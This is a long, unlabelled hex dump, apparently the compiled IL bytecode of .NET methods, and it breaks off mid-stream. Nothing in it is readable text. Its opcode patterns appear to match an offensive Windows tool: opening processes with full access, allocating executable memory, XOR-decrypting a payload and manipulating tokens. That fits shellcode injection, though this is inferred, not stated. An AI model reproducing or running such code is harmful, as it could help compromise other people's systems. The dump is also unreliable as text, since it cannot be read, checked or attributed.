0000002722D08007072D40400706F3500000A130C110C72410800706F3300000A2C65110C72470800706F3300000A2C37110C724D08007072D40400706F3500000A130C110C7247080070283600000A130D110D169A130E110D179A130F110E110F28270000062A110C724D08007072D40400706F3500000A130C110C72D404007028270000062A110C28260000062A0272550800706F3300000A398D00000002727108007072D40400706F3500000A1310111072410800706F3300000A2C65111072470800706F3300000A2C371110724D08007072D40400706F3500000A131011107247080070283600000A13111111169A13121111179A131311121113282A0000062A1110724D08007072D40400706F3500000A1310111072D4040070282A0000062A1110282B0000062A02728F0800706F3300000A398D0000000272AB08007072D40400706F3500000A1314111472410800706F3300000A2C65111472470800706F3300000A2C371114724D08007072D40400706F3500000A131411147247080070283600000A13151115169A13161115179A13171116111728680000062A1114724D08007072D40400706F3500000A1314111472D404007028680000062A111428690000062A0272C90800706F3300000A2C2E02178D3F000001132A112A161F209D112A6F3400000A13181118179A13191118189A131A1119111A28090000062A0272E30800706F3300000A2C2602178D3F000001132B112B161F209D112B6F3400000A131B111B179A131C111C28590000062A0272FB0800706F3300000A398200000002178D3F000001132C112C161F209D112C6F3400000A131D111D169A72FB080070282600000A2C16111D179A131E111D189A131F111E111F281D0000062A111D169A7215090070282600000A2C16111D179A1320111D189A132111201121281E0000062A111D169A7231090070282600000A2C1D111D179A13221122281F0000062A280900000A724D0900706F0A00000A2A1E02280B00000A2A0013300A003F000000090000111A0A1201FE15100000021202FE150E00000216283700000A0216283700000A16283700000A160616283700000A16283700000A12011202281A00000626082A0013300600280000000A000011028E698D2A0000010A160B2B1306070207910307038E695D9161D29C0717580B07028E6932E7062A1B300500650100000B000011280900000A726909007002281C00000A6F0A00000A280900000A729D09007003281C00000A6F0A00000A02283800000A0A140B06283900000A036F3A00000A281C0000060B160C72BD090070281B0000060D280900000A72FF0900706F0A00000A20FF0F1F001612037B3700000428130000061304280900000A723B0A007012037C37000004283B00000A281C00000A6F0A00000A11047E2200000A078E6920003000001F4028140000061305280900000A726D0A00706F0A00000A1104110507078E69120228150000062C4B20FB0300001612037B3800000428160000061306110511067E2200000A2817000006261106281800000626280900000A72A30A007012037C37000004283B00000A281C00000A6F0A00000A11042819000006130711072C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1308280900000A72F700007011086F1600000A281700000A6F0A00000ADE002A000000411C0000000000000000000045010000450100001F0000002C0000011B3005006D0100000C000011280900000A72B30B007002281C00000A6F0A00000A280900000A729D09007003281C00000A6F0A00000A02283C00000A0A06283800000A0B140C07283900000A036F3A00000A281C0000060C160D72BD090070281B0000061304280900000A72FF0900706F0A00000A20FF0F1F001612047B3700000428130000061305280900000A723B0A007012047C37000004283B00000A281C00000A6F0A00000A11057E2200000A088E6920003000001F4028140000061306280900000A726D0A00706F0A00000A1105110608088E69120328150000062C4B20FB0300001612047B3800000428160000061307110611077E2200000A2817000006261107281800000626280900000A72A30A007012047C37000004283B00000A281C00000A6F0A00000A11052819000006130811082C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1309280900000A72F700007011096F1600000A281700000A6F0A00000ADE002A000000411C000000000000000000004D0100004D0100001F0000002C0000011B300500380100000D000011280900000A72EF0B007002281C00000A6F0A00000A02281E00000A0A160B72BD090070281B0000060C280900000A72FF0900706F0A00000A20FF0F1F001612027B3700000428130000060D280900000A723B0A007012027C37000004283B00000A281C00000A6F0A00000A097E2200000A068E6920003000001F4028140000061304280900000A726D0A00706F0A00000A09110406068E69120128150000062C4B20FB0300001612027B3800000428160000061305110411057E2200000A2817000006261105281800000626280900000A72A30A007012027C37000004283B00000A281C00000A6F0A00000A092819000006130611062C0F280900000A720F0B00706F0A00000A280900000A724B0B00706F0A00000ADE1F1307280900000A72F700007011076F1600000A281700000A6F0A00000ADE002A411C0000000000000000000018010000180100001F0000002C0000011E02280B00000A2A1B300400F80000000E000011733D00000A0A28220000066F3E00000A13092B311209283F00000A0B07721D0C007017284000000A0C08169A6F1600000A0D08179A6F1600000A1304060911046F4100000A1209284200000A2DC6DE0E1209FE160300001B6F2000000ADC280900000A72210C00706F0A00000A72D40400701305161306284300000A13071107130A16130B2B41110A110B9A13080611086F2500000A12056F4400000A2C23280900000A72410C007011086F2500000A1105282A00000A6F0A00000A110617581306110B1758130B110B110A8E6932B711062D0F280900000A72830C00706F0A00000A280900000A72D90C00706F0A00000A284500000A2A01100000020012003E50000E0000000013300400AD1800000F000011734600000A0A06202D0200008D2B0000010B071672F10C0070A20717721B0D0070A2071872430D0070A2071972790D0070A2071A72910D0070A2071B72B90D0070A2071C72E10D0070A2071D720F0E0070A2071E72310E0070A2071F09725F0E0070A2071F0A72A90E0070A2071F0B72D90E0070A2071F0C72FD0E0070A2071F0D721F0F0070A2071F0E72470F0070A2071F0F72990F0070A2071F1072D50F0070A2071F11720B100070A2071F12722D100070A2071F137257100070A2071F14727F100070A2071F1572DD100070A2071F167203110070A2071F177235110070A2071F187251110070A2071F197275110070A2071F1A728D110070A2071F1B72A9110070A2071F1C72C3110070A2071F1D72DD110070A2071F1E72FD110070A2071F1F7217120070A2071F207247120070A2071F217267120070A2071F227287120070A2071F2372B1120070A2071F2472CB120070A2071F2572E7120070A2071F267201130070A2071F277229130070A2071F28724F130070A2071F297271130070A2071F2A7293130070A2071F2B72B7130070A2071F2C72D1130070A2071F2D72FB130070A2071F2E7223140070A2071F2F723F140070A2071F307267140070A2071F31727D140070A2071F32729B140070A2071F3372B9140070A2071F3472E5140070A2071F357201150070A2071F36722B150070A2071F37724F150070A2071F387273150070A2071F39729F150070A2071F3A72D5150070A2071F3B7201160070A2071F3C7227160070A2071F3D723F160070A2071F3E7257160070A2071F3F7271160070A2071F407289160070A2071F4172A1160070A2071F4272C3160070A2071F4372E1160070A2071F447203170070A2071F457227170070A2071F46723D170070A2071F477255170070A2071F487267170070A2071F49728B170070A2071F4A72AD170070A2071F4B72D3170070A2071F4C72F3170070A2071F4D721F180070A2071F4E7241180070A2071F4F7257180070A2071F507289180070A2071F5172A5180070A2071F5272C1180070A2071F5372E3180070A2071F5472FD180070A2071F557211190070A2071F56723B190070A2071F577267190070A2071F587289190070A2071F5972B7190070A2071F5A72E7190070A2071F5B72151A0070A2071F5C723B1A0070A2071F5D725B1A0070A2071F5E72831A0070A2071F5F72A51A0070A2071F6072BD1A0070A2071F6172ED1A0070A2071F62721B1B0070A2071F6372351B0070A2071F64724B1B0070A2071F65725B1B0070A2071F66726D1B0070A2071F6772851B0070A2071F6872A11B0070A2071F6972B51B0070A2071F6A72CD1B0070A2071F6B72EF1B0070A2071F6C72131C0070A2071F6D723B1C0070A2071F6E72611C0070A2071F6F72811C0070A2071F7072A51C0070A2071F7172C31C0070A2071F7272E31C0070A2071F7372FF1C0070A2071F74721D1D0070A2071F7572411D0070A2071F76725D1D0070A2071F7772791D0070A2071F7872991D0070A2071F7972C11D0070A2071F7A72DD1D0070A2071F7B72FD1D0070A2071F7C721F1E0070A2071F7D723F1E0070A2071F7E725F1E0070A2071F7F727D1E0070A2072080000000729D1E0070A207208100000072BB1E0070A207208200000072E71E0070A207208300000072031F0070A2072084000000721B1F0070A207208500000072331F0070A207208600000072491F0070A207208700000072611F0070A2072088000000728F1F0070A207208900000072C31F0070A207208A00000072F71F0070A207208B0000007233200070A207208C000000726F200070A207208D000000728F200070A207208E00000072BF200070A207208F00000072DD200070A207209000000072ED200070A2072091000000720F210070A20720920000007257210070A20720930000007295210070A207209400000072B5210070A207209500000072CD210070A207209600000072E5210070A207209700000072FB210070A20720980000007211220070A20720990000007229220070A207209A0000007243220070A207209B0000007255220070A207209C0000007289220070A207209D00000072BF220070A207209E00000072FB220070A207209F0000007233230070A20720A00000007279230070A20720A100000072B5230070A20720A200000072EB230070A20720A30000007221240070A20720A4000000725D240070A20720A50000007291240070A20720A600000072CB240070A20720A70000007203250070A20720A80000007223250070A20720A9000000723F250070A20720AA0000007285250070A20720AB000000729F250070A20720AC00000072BF250070A20720AD00000072E3250070A20720AE0000007205260070A20720AF0000007221260070A20720B00000007245260070A20720B1000000725F260070A20720B20000007291260070A20720B300000072D5260070A20720B400000072FD260070A20720B50000007231270070A20720B60000007263270070A20720B7000000728D270070A20720B800000072BB270070A20720B900000072E7270070A20720BA0000007217280070A20720BB0000007249280070A20720BC0000007279280070A20720BD000000728F280070A20720BE00000072B5280070A20720BF00000072D7280070A20720C000000072FB280070A20720C10000007223290070A20720C20000007257290070A20720C3000000727F290070A20720C400000072A3290070A20720C500000072C3290070A20720C600000072EB290070A20720C700000072192A0070A20720C800000072372A0070A20720C9000000725B2A0070A20720CA00000072892A0070A20720CB00000072BF2A0070A20720CC00000072ED2A0070A20720CD00000072172B0070A20720CE00000072452B0070A20720CF00000072672B0070A20720D000000072832B0070A20720D100000072A12B0070A20720D200000072BF2B0070A20720D300000072E32B0070A20720D400000072172C0070A20720D500000072372C0070A20720D6000000727B2C0070A20720D700000072972C0070A20720D800000072B32C0070A20720D900000072D32C0070A20720DA00000072FF2C0070A20720DB000000722B2D0070A20720DC000000724B2D0070A20720DD000000726B2D0070A20720DE00000072892D0070A20720DF00000072A92D0070A20720E000000072C92D0070A20720E100000072F32D0070A20720E2000000720B2E0070A20720E300000072292E0070A20720E400000072512E0070A20720E500000072AF2E0070A20720E600000072D52E0070A20720E700000072F52E0070A20720E800000072172F0070A20720E9000000723B2F0070A20720EA00000072692F0070A20720EB00000072A32F0070A20720EC00000072C92F0070A20720ED00000072F52F0070A20720EE000000721F300070A20720EF0000007249300070A20720F00000007273300070A20720F10000007291300070A20720F200000072AF300070A20720F300000072DF300070A20720F40000007215310070A20720F5000000723D310070A20720F6000000727F310070A20720F700000072AD310070A20720F800000072CB310070A20720F900000072E7310070A20720FA000000720D320070A20720FB000000722B320070A20720FC000000724B320070A20720FD0000007267320070A20720FE0000007287320070A20720FF00000072A5320070A207200001000072C5320070A207200101000072FD320070A20720020100007235330070A2072003010000727B330070A2072004010000729B330070A207200501000072B9330070A207200601000072D5330070A207200701000072F3330070A2072008010000721F340070A2072009010000723B340070A207200A0100007265340070A207200B0100007285340070A207200C01000072A9340070A207200D01000072C7340070A207200E0100007225350070A207200F010000725D350070A20720100100007297350070A207201101000072BB350070A207201201000072E5350070A2072013010000720D360070A20720140100007241360070A20720150100007275360070A207201601000072A5360070A207201701000072BF360070A207201801000072F3360070A20720190100007221370070A207201A010000723F370070A207201B0100007259370070A207201C0100007273370070A207201D01000072A7370070A207201E01000072FD370070A207201F010000722B380070A2072020010000724F380070A2072021010000726F380070A2072022010000728B380070A207202301000072B1380070A207202401000072D5380070A207202501000072FD380070A2072026010000722B390070A20720270100007241390070A20720280100007267390070A2072029010000727F390070A207202A01000072AB390070A207202B01000072E7390070A207202C010000721F3A0070A207202D010000724D3A0070A207202E01000072773A0070A207202F010000729D3A0070A207203001000072CD3A0070A207203101000072F93A0070A2072032010000724B3B0070A207203301000072793B0070A207203401000072A13B0070A207203501000072CD3B0070A207203601000072FD3B0070A207203701000072173C0070A207203801000072313C0070A207203901000072693C0070A207203A01000072953C0070A207203B01000072B93C0070A207203C01000072DF3C0070A207203D01000072073D0070A207203E01000072613D0070A207203F01000072A33D0070A207204001000072C33D0070A207204101000072E73D0070A2072042010000720D3E0070A2072043010000722F3E0070A207204401000072593E0070A207204501000072833E0070A207204601000072AD3E0070A207204701000072F13E0070A2072048010000722F3F0070A207204901000072573F0070A207204A01000072893F0070A207204B01000072B93F0070A207204C01000072D53F0070A207204D0100007205400070A207204E0100007235400070A207204F010000728F400070A207205001000072B9400070A207205101000072DF400070A20720520100007207410070A20720530100007237410070A20720540100007261410070A20720550100007283410070A207205601000072A9410070A207205701000072C7410070A207205801000072EB410070A20720590100007213420070A207205A010000723F420070A207205B010000725D420070A207205C010000728B420070A207205D01000072B9420070A207205E01000072D7420070A207205F01000072F5420070A20720600100007215430070A20720610100007231430070A2072062010000724D430070A2072063010000727B430070A2072064010000729D430070A207206501000072C7430070A207206601000072E5430070A2072067010000721D440070A2072068010000724F440070A2072069010000727B440070A207206A01000072AB440070A207206B01000072BD440070A207206C01000072E7440070A207206D0100007213450070A207206E0100007247450070A207206F010000725F450070A20720700100007297450070A207207101000072A7450070A207207201000072D3450070A207207301000072EF450070A2072074010000720D460070A2072075010000723F460070A20720760100007277460070A20720770100007295460070A207207801000072B3460070A207207901000072CF460070A207207A01000072E9460070A207207B0100007209470070A207207C0100007225470070A207207D0100007271470070A207207E010000729D470070A207207F01000072B1470070A207208001000072C5470070A207208101000072DF470070A207208201000072F9470070A2072083010000720F480070A20720840100007227480070A2072085010000723F480070A20720860100007255480070A2072087010000726F480070A20720880100007289480070A207208901000072A1480070A207208A01000072B9480070A207208B01000072D3480070A207208C0100007225490070A207208D0100007245490070A207208E0100007279490070A207208F010000729B490070A207209001000072BB490070A207209101000072DB490070A207209201000072134A0070A207209301000072334A0070A207209401000072574A0070A2072095010000726D4A0070A2072096010000729F4A0070A207209701000072C74A0070A207209801000072FB4A0070A2072099010000721B4B0070A207209A01000072354B0070A207209B01000072714B0070A207209C01000072AF4B0070A207209D010000720D4C0070A207209E01000072414C0070A207209F01000072774C0070A20720A001000072934C0070A20720A101000072B54C0070A20720A201000072D54C0070A20720A301000072F74C0070A20720A401000072174D0070A20720A501000072374D0070A20720A6010000725B4D0070A20720A7010000727B4D0070A20720A8010000729B4D0070A20720A901000072BB4D0070A20720AA01000072D74D0070A20720AB01000072F54D0070A20720AC01000072154E0070A20720AD01000072314E0070A20720AE010000724D4E0070A20720AF01000072674E0070A20720B001000072854E0070A20720B101000072A54E0070A20720B201000072BF4E0070A20720B301000072DB4E0070A20720B401000072FB4E0070A20720B5010000721B4F0070A20720B6010000723D4F0070A20720B701000072634F0070A20720B801000072854F0070A20720B901000072AB4F0070A20720BA01000072C74F0070A20720BB01000072E54F0070A20720BC0100007205500070A20720BD0100007225500070A20720BE0100007245500070A20720BF0100007265500070A20720C0010000728B500070A20720C101000072AB500070A20720C201000072CB500070A20720C301000072EB500070A20720C4010000720B510070A20720C50100007229510070A20720C60100007259510070A20720C70100007283510070A20720C801000072AF510070A20720C901000072CD510070A20720CA01000072E7510070A20720CB0100007201520070A20720CC0100007223520070A20720CD0100007249520070A20720CE010000726D520070A20720CF0100007289520070A20720D001000072A5520070A20720D101000072D3520070A20720D20100007201530070A20720D30100007231530070A20720D4010000724D530070A20720D50100007269530070A20720D60100007281530070A20720D7010000729B530070A20720D801000072B7530070A20720D901000072D3530070A20720DA01000072EF530070A20720DB0100007205540070A20720DC010000722B540070A20720DD0100007251540070A20720DE0100007277540070A20720DF010000728F540070A20720E001000072AB540070A20720E101000072DD540070A20720E20100007219550070A20720E30100007243550070A20720E40100007267550070A20720E50100007281550070A20720E601000072C3550070A20720E701000072EB550070A20720E80100007203560070A20720E9010000721B560070A20720EA0100007247560070A20720EB0100007263560070A20720EC0100007287560070A20720ED01000072A9560070A20720EE01000072C9560070A20720EF01000072E9560070A20720F0010000720B570070A20720F1010000722F570070A20720F20100007255570070A20720F30100007275570070A20720F40100007299570070A20720F501000072C3570070A20720F601000072E9570070A20720F7010000720B580070A20720F8010000722D580070A20720F90100007249580070A20720FA0100007263580070A20720FB010000727D580070A20720FC01000072A3580070A20720FD01000072D1580070A20720FE01000072FF580070A20720FF010000722D590070A20720000200007253590070A2072001020000726F590070A2072002020000728D590070A207200302000072AD590070A207200402000072C9590070A207200502000072F3590070A2072006020000721D5A0070A207200702000072355A0070A207200802000072695A0070A2072009020000728D5A0070A207200A02000072AF5A0070A207200B02000072CF5A0070A207200C02000072ED5A0070A207200D02000072095B0070A207200E02000072215B0070A207200F020000724F5B0070A2072010020000727B5B0070A207201102000072B55B0070A207201202000072DB5B0070A207201302000072055C0070A2072014020000721F5C0070A2072015020000723B5C0070A207201602000072575C0070A207201702000072775C0070A207201802000072915C0070A207201902000072AD5C0070A207201A02000072C75C0070A207201B02000072E55C0070A207201C02000072FF5C0070A207201D02000072215D0070A207201E02000072455D0070A207201F02000072615D0070A207202002000072795D0070A207202102000072935D0070A207202202000072B15D0070A207202302000072CF5D0070A207202402000072015E0070A207202502000072355E0070A207202602000072675E0070A207202702000072955E0070A207202802000072CD5E0070A207202902000072F75E0070A207202A02000072215F0070A207202B02000072555F0070A207202C02000072755F0070A2076F4700000A062A1E02280B00000A2A000000133004006F010000100000117E2E00000A0A06729B5F00706F2F00000A0B0772FD5F00706F3000000A6F1600000A0C0672236000706F2F00000A0D0972AE6000706F3000000A6F1600000A1304096F4800000A0872C46000706F3300000A2C26280900000A72C86000706F0A00000A280900000A72FE6000701104281C00000A6F0A00000A2A280900000A72226100706F0A00000A06729B5F00706F4900000A1305110572FD5F007072C46000701A6F4A00000A11056F4800000A734B00000A130611066F4C00000A726C6100706F4D00000A11066F4C00000A166F4E00000A11066F4C00000A176F4F00000A11066F4C00000A176F5000000A11066F4C00000A176F5100000A11066F4C00000A176F5200000A11066F5300000A2611066F5400000A72A46100706F5500000A11066F5400000A72E86100706F5500000A11066F5400000A72486200706F5500000A11066F5600000A11066F5700000A11066F5800000A280900000A72FE6000701104281C00000A6F0A00000A2A1E02280B00000A2A5E7252620070726262007002281700000A2828000006262A2602032828000006262A1E02280B00000A2A4E027B0C020004046F5900000A6F5A00000A262A0000001B300500D701000011000011730A0100061304280900000A726C62007002281700000A6F0A00000A280900000A728862007003281700000A6F0A00000A280900000A72A86200700272CA62007003285B00000A6F0A00000A734B00000A0A280900000A72CE6200706F0A00000A066F4C00000A026F4D00000A03285C00000A2D0C066F4C00000A036F5D00000A066F4C00000A176F5200000A066F4C00000A176F5E00000A066F4C00000A166F4E00000A066F4C00000A176F5100000A066F4C00000A176F5000000A1104735F00000A7D0C020004061104FE060B010006736000000A6F6100000A140B066F5300000A26066F6200000A066F6300000A6F6400000A0B066F5600000ADE130C280900000A086F2100000A6F0A00000ADE00066F6500000A2D1B280900000A11047B0C0200046F1600000A6F0A00000A3895000000735F00000A0D07285C00000A2D0809076F5A00000A2611047B0C0200046F6600000A2C1F0972D26200706F5A00000A260911047B0C0200046F1600000A6F5A00000A26280900000A1D8D01000001130511051672EA620070A211051702A211051803A211051972F4620070A211051A066F6500000A8C34000001A211051B722C630070A211051C09A21105286700000A6F0A00000A11047B0C0200046F1600000A2A00011000000000DE0021FF00132C0000011E02280B00000A2A1B300B00EC03000012000011280900000A7232630070168D01000001286900000A6F0A00000A280900000A7221640070168D01000001286900000A6F0A00000A178D160000020A281800000A0B280900000A727B640070076F6A00000A281700000A168D01000001286900000A6F0A00000A1472A164007006168F160000027C530000042836000006261202FE15150000021202177D510000041202067D5200000406168F16000002187D54000004076F6B00000A161202088C15000002286C00000A7E2200000A7E2200000A28340000062C07286D00000A2C1F280900000A72CF640070168D01000001286900000A6F0A00000ADD8C000000DE0A072C06076F2000000ADC286E00000A131312137219650070286F00000A0D721D650070097231650070287000000A1304110419161F0A20000800002000080000167E2200000A28300000061305110515737100000A287200000A2C2F280900000A724B650070286D00000A737300000A6F2100000A281700000A168D01000001286900000A6F0A00000A2A16737400000A130614FE062D000006737500000A737600000A13071107176F7700000A1107188D01000001131411141611058C32000001A21114171106A211146F7800000A14FE062C000006737500000A737600000A13081108176F7700000A1108096F7800000A110620E80300006F7900000A39B70100001105283200000639E3010000281800000A6F6B00000A1309280900000A727F65007011098C32000001287A00000A168D01000001286900000A6F0A00000A120AFE151A000002120A110A8C1A000002286C00000A7D6D000004120A7E2200000A7D6E000004120A177D6F000004120B120C120A2000040000283500000626120DFE1518000002120EFE1519000002120E110E8C19000002286C00000A7D5B000004120E110C7D6C000004120E110C7D6B000004120E729F6500707D5D000004120E20010100007D66000004120E167D6700000414130F72BF6500700203282A00000A130F280900000A72CF650070110F281C00000A6F0A00000A110902037E2200000A7E2200000A1720000000087E2200000A7E2200000A120E120D283700000639C9000000280900000A72F5650070120D7B590000048C34000001281C00000A6F0A00000A120D7B57000004283300000626110C28330000062620001000008D2A00000113101613112B2A11118D2A0000011312111011121111287B00000A280900000A287C00000A11126F7D00000A6F0A00000A110B1110200010000012117E2200000A282E0000062DBF110B2833000006262B38280900000A7284660070168D01000001286900000A6F0A00000A11042000000040167E2200000A1920800000007E2200000A282F0000062611052833000006262A0110000002004100AFF0000A000000001B300B001504000013000011280900000A7232630070168D01000001286900000A6F0A00000A280900000A7221640070168D01000001286900000A6F0A00000A72B66600700A020B178D160000020C281800000A0D280900000A727B640070096F6A00000A281700000A168D01000001286900000A6F0A00000A1472A164007008168F160000027C530000042836000006261204FE15150000021204177D510000041204087D5200000408168F16000002187D54000004096F6B00000A16120411048C15000002286C00000A7E2200000A7E2200000A28340000062C07286D00000A2C1F280900000A72CF640070168D01000001286900000A6F0A00000ADD8E000000DE0A092C06096F2000000ADC286E00000A131512157219650070286F00000A1305721D65007011057231650070287000000A1306110619161F0A20000800002000080000167E2200000A28300000061307110715737100000A287200000A2C2F280900000A724B650070286D00000A737300000A6F2100000A281700000A168D01000001286900000A6F0A00000A2A16737400000A130814FE062D000006737500000A737600000A13091109176F7700000A1109188D01000001131611161611078C32000001A21116171108A211166F7800000A14FE062C000006737500000A737600000A130A110A176F7700000A110A11056F7800000A110820E80300006F7900000A39D4010000110728320000063900020000281800000A6F6B00000A130B280900000A727F650070110B8C32000001287A00000A168D01000001286900000A6F0A00000A120CFE151A000002120C110C8C1A000002286C00000A7D6D000004120C7E2200000A7D6E000004120C177D6F000004120D120E120C2000040000283500000626120FFE15180000021210FE1519000002121011108C19000002286C00000A7D5B0000041210110E7D6C0000041210110E7D6B0000041210729F6500707D5D000004121020010100007D660000041210167D67000004141311072C3D0672B66600706F7E00000A2C0C72EE66007007281700000A0B72BF6500700607282A00000A1311280900000A72CF6500701111281C00000A6F0A00000A110B0611117E2200000A7E2200000A1720000000087E2200000A7E2200000A1210120F283700000639C9000000280900000A72F5650070120F7B590000048C34000001281C00000A6F0A00000A120F7B57000004283300000626110E28330000062620001000008D2A00000113121613132B2A11138D2A0000011314111211141113287B00000A280900000A287C00000A11146F7D00000A6F0A00000A110D1112200010000012137E2200000A282E0000062DBF110D2833000006262B38280900000A7284660070168D01000001286900000A6F0A00000A11062000000040167E2200000A1920800000007E2200000A282F0000062611072833000006262A0000000110000002004900B0F9000A000000001B3005006C0000001400001102752B0000010A73400000060B7E2200000A0C0712021C8D2B000001130411041672F6660070A211041706A2110418721A670070A211041906A211041A7220670070A211041B06A21104287F00000A166F4200000626DE130D280900000A096F1600000A6F0A00000ADE002A0110000000001300455800132C00000113300200300000001500001102750400001B0A06169AA5320000010B06179A75550000010C082C13077E2200000A283100000626086F8000000A262A1E02280B00000A2A3A02288100000A0203288200000A2A000330070089000000000000000214FE0645000006734C0000067D7D0000040214FE064600000673500000067D7E0000040220881300007D7F00000402280B00000A027224670070738300000A7D74000004288400000A1E331E02027B740000047E710000047E73000004726E670070171628430000062A02027B740000047E700000047E72000004726E670070171628430000062A0000000B3001001000000000000000022844000006DE0702288500000ADC2A011000000200000008080007000000001B30060024010000160000117E2200000A0A04288600000A0B037E2200000A8132000001288400000A1E332B02284900000602182848000006027288670070288600000A2847000006030405283F0000060A38910000007E2200000A0C088C3200000119288700000A0D1203288800000A130402181A8D3200000113071107168F32000001027288670070288600000A284700000681320000011107178F32000001110481320000011107188F320000010781320000011107198F320000017E2200000A81320000011107284A0000060A031104288900000A8132000001DE081203288A00000ADCDE2426288B00000A1305729C67007011058C34000001287A00000A288C00000A11051306DE1FDE14077E2200000A288D00000A2C0607288E00000ADC1200288F00000A692A11062A01280000020067006DD400080000000000001800C6DE00245C00000102001800EC0401140000000013300500C30000001700001102047D7500000402057D76000004020E047D7C00000402027B7500000419288700000A7D770000041200030E050E0628550000061201FE151F0000021201157D800000041201157D8100000402078C1F00000219288700000A7D7A00000402068C2200000219288700000A7D7B000004020519288700000A7D780000041202027C78000004288800000A027C7B000004288800000A027B7D000004289000000A027B7E000004289000000A285700000602088C2300000219288700000A7D790000042AE2027C77000004288A00000A027C7A000004288A00000A027C7B000004288A00000A027C78000004288A00000A027C79000004288A00000A2A13300100090000001800001102289100000A0A062A1E02288E00000A2A00000013300600EC0000001900001103289200000A0A7E2200000A0B7E2200000A0C027C74000004FE160A0000016F1600000A72D867007006027B7C000004141201283D0000060D092C2172EA6700701203724C680070289300000A281700000A288C00000A7E2200000A2A07289200000A1202283A0000060D1201283C00000626092C2172506800701203724C680070289300000A281700000A288C00000A7E2200000A2A081F0C027B7F0000046E739400000A283E0000060D092C1B72BA6800701203724C680070289300000A281700000A288C00000A72146900701202724C680070289500000A7242690070287000000A288C00000A082A36027B7500000403289600000A2A32027C79000004288800000A2A001B3003002E0000001A0000110419288700000A0A022849000006020328480000061200288800000A283B0000060BDE081200288A00000ADC072A000001100000020008001C240008000000000000004800000000000014003200000008004000460408010000000000001001040006000B0108000C0048000C0008007000100008000000000000480000000000002800320000000800400046040A0100000000000000001001080006000B0110000C004800180008007000200008000000000000000000000000001104020030A000001108255C0000000000000000000000001104020030A000001108255C00000000033003005D000000000000001F388D2A00000125D00D020004289700000A80700000041F3A8D2A00000125D00E020004289700000A80710000041F128D2A00000125D00F020004289700000A80720000041F128D2A00000125D010020004289700000A80730000042A3E02037D8200000402047D830000042A00000013300300AE0000001B00001102D022000002289800000A289900000A7D86000004120004052854000006027C87000004FE1521000002027C87000004037D84000004027C87000004067D85000004120018162854000006027C88000004FE1521000002027C880000047E8F0000047D84000004027C88000004067D85000004027E2200000A7D8900000402167D8A000004027E2200000A7D8B000004027E2200000A7D8C000004027E2200000A7D8D00000402167D8E0000042A000003300B002E0000000000000020045D888A20EB1C000020C9110000209F00000020E80000001E161F2B1F101F481F60739A00000A808F0000042A000003300200CB0000000000000002037D9800000402047D90000004027E2200000A7D9D00000402057D91000004020E047D92000004027E2200000A7D93000004027E2200000A7D94000004027E2200000A7D95000004027E2200000A7D96000004027E2200000A7D9700000402177D990000040220020005007D9A000004027E2200000A7D9B00000402206E0201087D9C000004027E2200000A7D9E000004027E2200000A7D9F0000040217737100000A7DA0000004027E2200000A7DA1000004027E2200000A7DA2000004027E2200000A7DA30000042A001B3004008C0000001C000011028E690B078D280000010C0318731000000A0D1613042B620811040211049A19731000000AA22B080906D26F9B00000A0811049A6F9C00000A250A1533EADE1F1305280900000A72EA62007011056F2100000A281700000A6F0A00000ADE00DE0A0811049A6F1300000ADC0211049A281D00000A1104175813041104073299DE0A092C06096F2000000ADC2A01280000000018002840001F2C000001020018004961000A00000000020013006E81000A000000001B300500D30000001D00001102739D00000A0A280900000A724669007002281700000A6F0A00000A0202289E00000A72D40400706F3500000A0B02289E00000A7268690070281700000A0C0708281700000A0D0708289F00000A130411048E691305280900000A728469007011058C34000001287A00000A6F0A00000A280900000A729C6900700972CA62007002285B00000A6F0A00000A1104022858000006066FA000000A2C15280900000A72C069007009281C00000A6F0A00000ADE1F1306280900000A72EA62007011066F2100000A281700000A6F0A00000ADE002A000110000000000000B3B3001F2C000001133002004C0000001E000011026FA100000A0C160D2B0E08099A0A06285A0000060917580D09088E6932EC026FA200000A13041613052B17110411059A0B0720800000006FA300000A110517581305110511048E6932E12A1B300300420100001F0000110228A400000A0A06283100000A398F0000000673A500000A0B07285A000006061728A600000A280900000A72006A007006281700000A6F0A00000ADD0101000026280900000A72686A007006281700000A6F0A00000ADDE600000026280900000A72D86A007006281700000A6F0A00000ADDCB0000000C280900000A72446B007006281700000A6F0A00000A280900000A086F1600000A6F0A00000ADDA000000006281B00000A398000000006208000000028A700000A06281D00000A280900000A72AE6B007006281700000A6F0A00000ADE6D26280900000A72D46B007006281700000A6F0A00000ADE5526280900000A723A6C007006281700000A6F0A00000ADE3D0D280900000A729C6C007006281700000A6F0A00000A280900000A096F1600000A6F0A00000ADE15280900000A72FC6C007006281700000A6F0A00000A2A0000014C0000000012002E40001B66000001000012002E5B001B67000001000012002E76002B2C0000010000AC0028D40018660000010000AC0028EC0018670000010000AC00280401282C0000016A280900000A72586D007028A800000A281C00000A6F0A00000A2A720228A900000A280900000A72986D007002281C00000A6F0A00000A2A133005004B00000020000011160A20A00F0000026FAA00000A0659311A280900000A0206026FAA00000A06596FAB00000A6F0A00000A2A280900000A020620A00F00006FAB00000A6F0A00000A0620A00F0000580A2BB7001B3003009E00000021000011280900000A72D26D00706F0A00000A02283C00000A0A06285E000006DE7026280900000A72D86D007002281700000A6F0A00000ADE5826280900000A72106E007002281700000A6F0A00000ADE4026280900000A72626E007002281700000A6F0A00000ADE280B280900000A72AA6E007002281700000A6F0A00000A280900000A076F1600000A6F0A00000ADE00280900000A72006F00706F0A00000A2A00000134000000000F000F1E00186800000100000F000F3600186900000100000F000F4E00186700000100000F000F6600282C000001133004008700000022000011280900000A720A6F0070168D01000001286900000A6F0A00000A284300000A0A280900000A72326F007072506F007072646F0070282A00000A6F0A00000A060C160D2B2D08099A0B280900000A72326F0070076F2700000A8C34000001076F2500000A282A00000A6F0A00000A0917580D09088E6932CD280900000A72006F00706F0A00000A2A00133002001D0000000F000011734600000A0A06026F4700000A06036F4700000A066FAC00000A0B072A000000133002002500000023000011020C160D2B1508099A0A06036F3300000A2C04170BDE0C160BDE0809088E6932E5172A072A0000001B300600BC0300002400001128AD00000A0A140B140C166A0D1A13041F0913050272D404007028AE00000A2C02020A0628AF00000A0B0628B000000A0C280900000A727C6F00700672CE620070287000000A6F0A00000ADE6326280900000A72AE6F007006281700000A6F0A00000ADD5303000026280900000A72FA6F007006281700000A6F0A00000ADD380300001306280900000A725670007006281700000A6F0A00000A280900000A11066F1600000A6F0A00000ADD0B0300000708286100000613071107280100002B11072D1B280900000A72BC7000700672E2700070287000000A6F0A00000A2A0713111613122B41111111129A13081108739D00000A28B200000A1309110909310311090D1104120328B300000A6FAA00000A2F0E120328B300000A6FAA00000A1304111217581312111211118